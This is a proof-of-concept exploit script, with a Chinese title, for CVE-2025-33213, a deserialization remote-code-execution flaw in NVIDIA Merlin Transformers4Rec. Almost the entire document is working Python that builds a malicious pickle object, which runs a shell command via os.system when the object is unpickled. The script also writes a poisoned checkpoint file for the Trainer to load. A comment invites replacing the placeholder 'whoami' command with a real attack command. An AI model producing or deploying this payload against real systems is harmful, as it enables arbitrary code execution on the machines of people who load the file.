CVE-2025-33213 NVIDIA Merlin Transformers4Rec 反序列化代码执行漏洞

import pickle import base64 import os # CVE-2025-33213 PoC - Malicious pickle payload for deserialization RCE # Target: NVIDIA Merlin Transformers4Rec Trainer component class Exploit: def __reduce__(self): # This will execute when the object is unpickled cmd = "whoami > /tmp/pwned.txt" # Replace with actual attack command return (os.system, (cmd,)) def generate_payload(): """Generate malicious pickle payload""" exploit_obj = Exploit() payload = pickle.dumps(exploit_obj) return base64.b64encode(payload).decode('utf-8') def create_malicious_checkpoint(): """Create a malicious checkpoint file that can be loaded by Trainer""" payload = generate_payload() malicious_data = { 'model_state': pickle.loads(base64.b64decode(payload)), 'version': 'vulnerable_version' } with open('malicious_checkpoint.pkl', 'wb') as f: pickle.dump(malicious_data, f) return payload if __name__ == '__main__': print("CVE-2025-33213 PoC for NVIDIA Merlin Transformers4Rec") print("=" * 60) payload = generate_payload() print(f"Malicious payload (base64):\n{payload}") print("\nNote: This payload will execute 'whoami' command when unpickled") print("Attack vector: Load this payload through Trainer checkpoint loading")